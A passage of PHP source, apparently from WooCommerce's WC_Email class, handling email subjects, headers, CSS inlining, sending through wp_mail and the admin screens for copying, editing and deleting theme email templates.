$this->find; $legacy_replace = $this->replace; foreach ( $this->placeholders as $find => $replace ) { $legacy_key = sanitize_title( str_replace( '_', '-', trim( $find, '{}' ) ) ); $legacy_find[ $legacy_key ] = $find; $legacy_replace[ $legacy_key ] = $replace; } $string = str_replace( apply_filters( 'woocommerce_email_format_string_find', $legacy_find, $this ), apply_filters( 'woocommerce_email_format_string_replace', $legacy_replace, $this ), $string ); } /** * Filter for main find/replace. * * @since 3.2.0 */ return apply_filters( 'woocommerce_email_format_string', str_replace( $find, $replace, $string ), $this ); } /** * Set the locale to the store locale for customer emails to make sure emails are in the store language. */ public function setup_locale() { /** * Filter the ability to switch email locale. * * @since 6.8.0 * * @param bool $default_value The default returned value. * @param WC_Email $this The WC_Email object. */ $switch_email_locale = apply_filters( 'woocommerce_allow_switching_email_locale', true, $this ); if ( $switch_email_locale && $this->is_customer_email() && apply_filters( 'woocommerce_email_setup_locale', true ) ) { wc_switch_to_site_locale(); } } /** * Restore the locale to the default locale. Use after finished with setup_locale. */ public function restore_locale() { /** * Filter the ability to restore email locale. * * @since 6.8.0 * * @param bool $default_value The default returned value. * @param WC_Email $this The WC_Email object. */ $restore_email_locale = apply_filters( 'woocommerce_allow_restoring_email_locale', true, $this ); if ( $restore_email_locale && $this->is_customer_email() && apply_filters( 'woocommerce_email_restore_locale', true ) ) { wc_restore_locale(); } } /** * Get email subject. * * @since 3.1.0 * @return string */ public function get_default_subject() { return $this->subject; } /** * Get email heading. * * @since 3.1.0 * @return string */ public function get_default_heading() { return $this->heading; } /** * Default content to show below main email content. * * @since 3.7.0 * @return string */ public function get_default_additional_content() { return ''; } /** * Return content from the additional_content field. * * Displayed above the footer. * * @since 3.7.0 * @return string */ public function get_additional_content() { /** * Provides an opportunity to inspect and modify additional content for the email. * * @since 3.7.0 * * @param string $additional_content Additional content to be added to the email. * @param object|bool $object The object (ie, product or order) this email relates to, if any. * @param WC_Email $email WC_Email instance managing the email. */ return apply_filters( 'woocommerce_email_additional_content_' . $this->id, $this->format_string( $this->get_option( 'additional_content' ) ), $this->object, $this ); } /** * Get email subject. * * @return string */ public function get_subject() { return apply_filters( 'woocommerce_email_subject_' . $this->id, $this->format_string( $this->get_option( 'subject', $this->get_default_subject() ) ), $this->object, $this ); } /** * Get email heading. * * @return string */ public function get_heading() { return apply_filters( 'woocommerce_email_heading_' . $this->id, $this->format_string( $this->get_option( 'heading', $this->get_default_heading() ) ), $this->object, $this ); } /** * Get valid recipients. * * @return string */ public function get_recipient() { $recipient = apply_filters( 'woocommerce_email_recipient_' . $this->id, $this->recipient, $this->object, $this ); $recipients = array_map( 'trim', explode( ',', $recipient ) ); $recipients = array_filter( $recipients, 'is_email' ); return implode( ', ', $recipients ); } /** * Get email headers. * * @return string */ public function get_headers() { $header = 'Content-Type: ' . $this->get_content_type() . "\r\n"; if ( in_array( $this->id, array( 'new_order', 'cancelled_order', 'failed_order' ), true ) ) { if ( $this->object && $this->object->get_billing_email() && ( $this->object->get_billing_first_name() || $this->object->get_billing_last_name() ) ) { $header .= 'Reply-to: ' . $this->object->get_billing_first_name() . ' ' . $this->object->get_billing_last_name() . ' <' . $this->object->get_billing_email() . ">\r\n"; } } elseif ( $this->get_from_address() && $this->get_from_name() ) { $header .= 'Reply-to: ' . $this->get_from_name() . ' <' . $this->get_from_address() . ">\r\n"; } return apply_filters( 'woocommerce_email_headers', $header, $this->id, $this->object, $this ); } /** * Get email attachments. * * @return array */ public function get_attachments() { return apply_filters( 'woocommerce_email_attachments', array(), $this->id, $this->object, $this ); } /** * Return email type. * * @return string */ public function get_email_type() { return $this->email_type && class_exists( 'DOMDocument' ) ? $this->email_type : 'plain'; } /** * Get email content type. * * @param string $default_content_type Default wp_mail() content type. * @return string */ public function get_content_type( $default_content_type = '' ) { switch ( $this->get_email_type() ) { case 'html': $content_type = 'text/html'; break; case 'multipart': $content_type = 'multipart/alternative'; break; default: $content_type = 'text/plain'; break; } return apply_filters( 'woocommerce_email_content_type', $content_type, $this, $default_content_type ); } /** * Return the email's title * * @return string */ public function get_title() { return apply_filters( 'woocommerce_email_title', $this->title, $this ); } /** * Return the email's description * * @return string */ public function get_description() { return apply_filters( 'woocommerce_email_description', $this->description, $this ); } /** * Proxy to parent's get_option and attempt to localize the result using gettext. * * @param string $key Option key. * @param mixed $empty_value Value to use when option is empty. * @return string */ public function get_option( $key, $empty_value = null ) { $value = parent::get_option( $key, $empty_value ); return apply_filters( 'woocommerce_email_get_option', $value, $this, $value, $key, $empty_value ); } /** * Checks if this email is enabled and will be sent. * * @return bool */ public function is_enabled() { return apply_filters( 'woocommerce_email_enabled_' . $this->id, 'yes' === $this->enabled, $this->object, $this ); } /** * Checks if this email is manually sent * * @return bool */ public function is_manual() { return $this->manual; } /** * Checks if this email is customer focussed. * * @return bool */ public function is_customer_email() { return $this->customer_email; } /** * Get WordPress blog name. * * @return string */ public function get_blogname() { return wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ); } /** * Get email content. * * @return string */ public function get_content() { $this->sending = true; if ( 'plain' === $this->get_email_type() ) { $email_content = wordwrap( preg_replace( $this->plain_search, $this->plain_replace, wp_strip_all_tags( $this->get_content_plain() ) ), 70 ); } else { $email_content = $this->get_content_html(); } return $email_content; } /** * Apply inline styles to dynamic content. * * We only inline CSS for html emails, and to do so we use Emogrifier library (if supported). * * @version 4.0.0 * @param string|null $content Content that will receive inline styles. * @return string */ public function style_inline( $content ) { if ( in_array( $this->get_content_type(), array( 'text/html', 'multipart/alternative' ), true ) ) { $css = ''; $css .= $this->get_must_use_css_styles(); $css .= "\n"; ob_start(); wc_get_template( 'emails/email-styles.php' ); $css .= ob_get_clean(); /** * Provides an opportunity to filter the CSS styles included in e-mails. * * @since 2.3.0 * * @param string $css CSS code. * @param \WC_Email $email E-mail instance. */ $css = apply_filters( 'woocommerce_email_styles', $css, $this ); $css_inliner_class = CssInliner::class; if ( $this->supports_emogrifier() && class_exists( $css_inliner_class ) ) { try { $css_inliner = CssInliner::fromHtml( $content )->inlineCss( $css ); do_action( 'woocommerce_emogrifier', $css_inliner, $this ); $dom_document = $css_inliner->getDomDocument(); HtmlPruner::fromDomDocument( $dom_document )->removeElementsWithDisplayNone(); $content = CssToAttributeConverter::fromDomDocument( $dom_document ) ->convertCssToVisualAttributes() ->render(); } catch ( Exception $e ) { $logger = wc_get_logger(); $logger->error( $e->getMessage(), array( 'source' => 'emogrifier' ) ); } } else { $content = '<style type="text/css">' . $css . '</style>' . $content; } } return $content; } /** * Returns CSS styles that should be included with all HTML e-mails, regardless of theme specific customizations. * * @since 9.1.0 * * @return string */ protected function get_must_use_css_styles(): string { $css = <<<'EOF' /* * Temporary measure until e-mail clients more properly support the correct styles. * See https://github.com/woocommerce/woocommerce/pull/47738. */ .screen-reader-text { display: none; } EOF; return $css; } /** * Return if emogrifier library is supported. * * @version 4.0.0 * @since 3.5.0 * @return bool */ protected function supports_emogrifier() { return class_exists( 'DOMDocument' ); } /** * Get the email content in plain text format. * * @return string */ public function get_content_plain() { return ''; } /** * Get the email content in HTML format. * * @return string */ public function get_content_html() { return ''; } /** * Get the from name for outgoing emails. * * @param string $from_name Default wp_mail() name associated with the "from" email address. * @return string */ public function get_from_name( $from_name = '' ) { $from_name = apply_filters( 'woocommerce_email_from_name', get_option( 'woocommerce_email_from_name' ), $this, $from_name ); return wp_specialchars_decode( esc_html( $from_name ), ENT_QUOTES ); } /** * Get the from address for outgoing emails. * * @param string $from_email Default wp_mail() email address to send from. * @return string */ public function get_from_address( $from_email = '' ) { $from_email = apply_filters( 'woocommerce_email_from_address', get_option( 'woocommerce_email_from_address' ), $this, $from_email ); return sanitize_email( $from_email ); } /** * Set the object for the outgoing email. * * @param object $object Object this email is for, e.g. customer, or product. * @return void */ public function set_object( $object ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.objectFound $this->object = $object; } /** * Send an email. * * @param string $to Email to. * @param string $subject Email subject. * @param string $message Email message. * @param string $headers Email headers. * @param array $attachments Email attachments. * @return bool success */ public function send( $to, $subject, $message, $headers, $attachments ) { add_filter( 'wp_mail_from', array( $this, 'get_from_address' ) ); add_filter( 'wp_mail_from_name', array( $this, 'get_from_name' ) ); add_filter( 'wp_mail_content_type', array( $this, 'get_content_type' ) ); $message = apply_filters( 'woocommerce_mail_content', $this->style_inline( $message ) ); $mail_callback = apply_filters( 'woocommerce_mail_callback', 'wp_mail', $this ); $mail_callback_params = apply_filters( 'woocommerce_mail_callback_params', array( $to, wp_specialchars_decode( $subject ), $message, $headers, $attachments ), $this ); $return = $mail_callback( ...$mail_callback_params ); remove_filter( 'wp_mail_from', array( $this, 'get_from_address' ) ); remove_filter( 'wp_mail_from_name', array( $this, 'get_from_name' ) ); remove_filter( 'wp_mail_content_type', array( $this, 'get_content_type' ) ); // Clear the AltBody (if set) so that it does not leak across to different emails. $this->clear_alt_body_field(); /** * Action hook fired when an email is sent. * * @since 5.6.0 * @param bool $return Whether the email was sent successfully. * @param int $id Email ID. * @param WC_Email $this WC_Email instance. */ do_action( 'woocommerce_email_sent', $return, $this->id, $this ); return $return; } /** * Initialise Settings Form Fields - these are generic email options most will use. */ public function init_form_fields() { /* translators: %s: list of placeholders */ $placeholder_text = sprintf( __( 'Available placeholders: %s', 'woocommerce' ), '<code>' . esc_html( implode( '</code>, <code>', array_keys( $this->placeholders ) ) ) . '</code>' ); $this->form_fields = array( 'enabled' => array( 'title' => __( 'Enable/Disable', 'woocommerce' ), 'type' => 'checkbox', 'label' => __( 'Enable this email notification', 'woocommerce' ), 'default' => 'yes', ), 'subject' => array( 'title' => __( 'Subject', 'woocommerce' ), 'type' => 'text', 'desc_tip' => true, 'description' => $placeholder_text, 'placeholder' => $this->get_default_subject(), 'default' => '', ), 'heading' => array( 'title' => __( 'Email heading', 'woocommerce' ), 'type' => 'text', 'desc_tip' => true, 'description' => $placeholder_text, 'placeholder' => $this->get_default_heading(), 'default' => '', ), 'additional_content' => array( 'title' => __( 'Additional content', 'woocommerce' ), 'description' => __( 'Text to appear below the main email content.', 'woocommerce' ) . ' ' . $placeholder_text, 'css' => 'width:400px; height: 75px;', 'placeholder' => __( 'N/A', 'woocommerce' ), 'type' => 'textarea', 'default' => $this->get_default_additional_content(), 'desc_tip' => true, ), 'email_type' => array( 'title' => __( 'Email type', 'woocommerce' ), 'type' => 'select', 'description' => __( 'Choose which format of email to send.', 'woocommerce' ), 'default' => 'html', 'class' => 'email_type wc-enhanced-select', 'options' => $this->get_email_type_options(), 'desc_tip' => true, ), ); } /** * Email type options. * * @return array */ public function get_email_type_options() { $types = array( 'plain' => __( 'Plain text', 'woocommerce' ) ); if ( class_exists( 'DOMDocument' ) ) { $types['html'] = __( 'HTML', 'woocommerce' ); $types['multipart'] = __( 'Multipart', 'woocommerce' ); } return $types; } /** * Admin Panel Options Processing. */ public function process_admin_options() { // Save regular options. parent::process_admin_options(); $post_data = $this->get_post_data(); // Save templates. if ( isset( $post_data['template_html_code'] ) ) { $this->save_template( $post_data['template_html_code'], $this->template_html ); } if ( isset( $post_data['template_plain_code'] ) ) { $this->save_template( $post_data['template_plain_code'], $this->template_plain ); } } /** * Get template. * * @param string $type Template type. Can be either 'template_html' or 'template_plain'. * @return string */ public function get_template( $type ) { $type = basename( $type ); if ( 'template_html' === $type ) { return $this->template_html; } elseif ( 'template_plain' === $type ) { return $this->template_plain; } return ''; } /** * Save the email templates. * * @since 2.4.0 * @param string $template_code Template code. * @param string $template_path Template path. */ protected function save_template( $template_code, $template_path ) { if ( current_user_can( 'edit_themes' ) && ! empty( $template_code ) && ! empty( $template_path ) ) { $saved = false; $file = $this->get_theme_template_file( $template_path ); $code = wp_unslash( $template_code ); if ( is_writeable( $file ) ) { // phpcs:ignore WordPress.VIP.FileSystemWritesDisallow.file_ops_is_writeable $f = fopen( $file, 'w+' ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_read_fopen if ( false !== $f ) { fwrite( $f, $code ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_read_fwrite fclose( $f ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_read_fclose $saved = true; } } if ( ! $saved ) { $redirect = add_query_arg( 'wc_error', rawurlencode( __( 'Could not write to template file.', 'woocommerce' ) ) ); wp_safe_redirect( $redirect ); exit; } } } /** * Get the template file in the current theme. * * @param string $template Template name. * * @return string */ public function get_theme_template_file( $template ) { return get_stylesheet_directory() . '/' . apply_filters( 'woocommerce_template_directory', 'woocommerce', $template ) . '/' . $template; } /** * Move template action. * * @param string $template_type Template type. */ protected function move_template_action( $template_type ) { $template = $this->get_template( $template_type ); if ( ! empty( $template ) ) { $theme_file = $this->get_theme_template_file( $template ); if ( wp_mkdir_p( dirname( $theme_file ) ) && ! file_exists( $theme_file ) ) { // Locate template file. $core_file = $this->template_base . $template; $template_file = apply_filters( 'woocommerce_locate_core_template', $core_file, $template, $this->template_base, $this->id ); // Copy template file. copy( $template_file, $theme_file ); /** * Action hook fired after copying email template file. * * @param string $template_type The copied template type * @param string $email The email object */ do_action( 'woocommerce_copy_email_template', $template_type, $this ); ?> <div class="updated"> <p><?php echo esc_html__( 'Template file copied to theme.', 'woocommerce' ); ?></p> </div> <?php } } } /** * Delete template action. * * @param string $template_type Template type. */ protected function delete_template_action( $template_type ) { $template = $this->get_template( $template_type ); if ( $template ) { if ( ! empty( $template ) ) { $theme_file = $this->get_theme_template_file( $template ); if ( file_exists( $theme_file ) ) { unlink( $theme_file ); // phpcs:ignore WordPress.VIP.FileSystemWritesDisallow.file_ops_unlink /** * Action hook fired after deleting template file. * * @param string $template The deleted template type * @param string $email The email object */ do_action( 'woocommerce_delete_email_template', $template_type, $this ); ?> <div class="updated"> <p><?php echo esc_html__( 'Template file deleted from theme.', 'woocommerce' ); ?></p> </div> <?php } } } } /** * Admin actions. */ protected function admin_actions() { // Handle any actions. if ( ( ! empty( $this->template_html ) || ! empty( $this->template_plain ) ) && ( ! empty( $_GET['move_template'] ) || ! empty( $_GET['delete_template'] ) ) && 'GET' === $_SERVER['REQUEST_METHOD'] // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated ) { if ( empty( $_GET['_wc_email_nonce'] ) || ! wp_verify_nonce( wc_clean( wp_unslash( $_GET['_wc_email_nonce'] ) ), 'woocommerce_email_template_nonce' ) ) { wp_die( esc_html__( 'Action failed. Please refresh the page and retry.', 'woocommerce' ) ); } if ( ! current_user_can( 'edit_themes' ) ) { wp_die( esc_html__( 'You don’t have permission to do this.', 'woocommerce' ) ); } if ( ! empty( $_GET['move_template'] ) ) { $this->move_template_action( wc_clean( wp_unslash( $_GET['move_template'] ) ) ); } if ( ! empty( $_GET['delete_template'] ) ) { $this->delete_template_action( wc_clean( wp_unslash( $_GET['delete_template'] ) ) ); } } } /** * Admin Options. * * Setup the email settings screen. * Override this in your email. * * @since 1.0.0 */ public function admin_options() { // Do admin actions. $this->admin_actions(); ?> <h2><?php echo esc_html( $this->get_title() ); ?> <?php wc_back_link( __( 'Return to emails', 'woocommerce' ), admin_url( 'admin.php?page=wc-settings&tab=email' ) ); ?></h2> <?php echo wpautop( wp_kses_post( $this->get_description() ) ); // phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped ?> <?php /** * Action hook fired before displaying email settings. * * @param string $email The email object */ do_action( 'woocommerce_email_settings_before', $this ); ?> <table class="form-table"> <?php $this->generate_settings_html(); ?> </table> <?php /** * Action hook fired after displaying email settings. * * @param string $email The email object */ do_action( 'woocommerce_email_settings_after', $this ); ?> <?php if ( current_user_can( 'edit_themes' ) && ( ! empty( $this->template_html ) || ! empty( $this->template_plain ) ) ) { ?> <div id="template"> <?php $templates = array( 'template_html' => __( 'HTML template', 'woocommerce' ), 'template_plain' => __( 'Plain text template', 'woocommerce' ), ); foreach ( $templates as $template_type => $title ) : $template = $this->get_template( $template_type ); if ( empty( $template ) ) { continue; } $local_file = $this->get_theme_template_file( $template ); $core_file = $this->template_base . $template; $template_file = apply_filters( 'woocommerce_locate_core_template', $core_file, $template, $this->template_base, $this->id ); $template_dir = apply_filters( 'woocommerce_template_directory', 'woocommerce', $template ); ?> <div class="template <?php echo esc_attr( $template_type ); ?>"> <h4><?php echo wp_kses_post( $title ); ?></h4> <?php if ( file_exists( $local_file ) ) : ?> <p> <a href="#" class="button toggle_editor"></a> <?php if ( is_writable( $local_file ) ) : // phpcs:ignore WordPress.VIP.FileSystemWritesDisallow.file_ops_is_writable ?> <a href="<?php echo esc_url( wp_nonce_url( remove_query_arg( array( 'move_template', 'saved' ), add_query_arg( 'delete_template', $template_type ) ), 'woocommerce_email_template_nonce', '_wc_email_nonce' ) ); ?>" class="delete_template button"> <?php esc_html_e( 'Delete template file', 'woocommerce' ); ?> </a> <?php endif; ?> <?php /* translators: %s: Path to template file */ printf( esc_html__( 'This template has been overridden by your theme and can be found in: %s.', 'woocommerce' ), '<code>' . esc_html( trailingslashit( basename( get_stylesheet_directory() ) ) . $template_dir . '/' . $template ) . '</code>' ); ?> </p> <div class="editor" style="display:none"> <textarea class="code" cols="25" rows="20" <?php if ( ! is_writable( $local_file ) ) : // phpcs:ignore WordPress.VIP.FileSystemWritesDisallow.file_ops_is_writable ?> readonly="readonly" disabled="disabled" <?php else : ?> data-name="<?php echo esc_attr( $template_type ) . '_code'; ?>"<?php endif; ?>><?php echo esc_html( file_get_contents( $local_file ) ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents ?></textarea> </div> <?php elseif ( file_exists( $template_file ) ) : ?> <p> <a href="#" class="button toggle_editor"></a> <?php $emails_dir = get_stylesheet_directory() . '/' . $template_dir . '/emails'; $templates_dir = get_stylesheet_directory() . '/' . $template_dir; $theme_dir = get_stylesheet_directory(); if ( is_dir( $emails_dir ) ) { $target_dir = $emails_dir; } elseif ( is_dir( $templates_dir ) ) { $target_dir = $templates_dir; } else { $target_dir = $theme_dir; } if ( is_writable( $target_dir ) ) : // phpcs:ignore WordPress.VIP.FileSystemWritesDisallow.file_ops_is_writable ?> <a href="<?php echo esc_url( wp_nonce_url( remove_query_arg( array( 'delete_template', 'saved' ), add_query_arg( 'move_template', $template_type ) ), 'woocommerce_email_template_nonce', '_wc_email_nonce' ) ); ?>" class="button"> <?php esc_html_e( 'Copy file to theme', 'woocommerce' ); ?> </a> <?php endif; ?> <?php /* translators: 1: Path to template file 2: Path to theme folder */ printf( esc_html__( 'To override and edit this email template copy %1$s to your theme folder: %2$s.', 'woocommerce' ), '<code>' . esc_html( plugin_basename( $template_file ) ) . '</code>', '<code>' . esc_html( trailingslashit( basename( get_stylesheet_directory() ) ) . $template_dir . '/' . $template ) . '</code>' ); ?> </p> <div class="editor" style="display:none"> <textarea class="code" readonly="readonly" disabled="disabled" cols="25" rows="20"><?php echo esc_html( file_get_contents( $template_file ) ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents ?></textarea> </div> <?php else : ?> <p><?php esc_html_e( 'File was not found.', 'woocommerce' ); ?></p> <?php endif; ?> </div> <?php endforeach; ?> </div> <?php wc_enqueue_js( "jQuery( 'select.email_type' ).on( 'change', function() { var val = jQuery( this ).val(); jQuery( '.template_plain, .template_html' ).show(); if ( val != 'multipart' && val != 'html' ) { jQuery('.template_html').hide(); } if ( val != 'multipart' && val != 'plain' ) { jQuery('.template_plain').hide(); } }).trigger( 'change' ); var view = '" . esc_js( __( 'View template', 'woocommerce' ) ) . "'; var hide = '" . esc_js( __( 'Hide template', 'woocommerce' ) ) . "'; jQuery( 'a.toggle_editor' ).text( view ).on( 'click', function() { var label = hide; if ( jQuery( this ).closest(' .template' ).find( '.editor' ).is(':visible') ) { var label = view; } jQuery( this ).text( label ).closest(' .template' ).find( '.editor' ).slideToggle(); return false; } ); jQuery( 'a.delete_template' ).on( 'click', function() { if ( window.confirm('" . esc_js( __( 'Are you sure you want to delete this template file?', 'woocommerce' ) ) . "') ) { return true; } return false; }); jQuery( '.editor textarea' ).on( 'change', function() { var name = jQuery( this ).attr( 'data-name' ); if ( name ) { jQuery( this ).attr( 'name', name ); } });" ); } } /** * Clears the PhpMailer AltBody field, to prevent that content from leaking across emails. */ private function clear_alt_body_field(): void { global $phpmailer; if ( $phpmailer instanceof PHPMailer\PHPMailer\PHPMailer ) { $phpmailer->AltBody = ''; // phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase } } }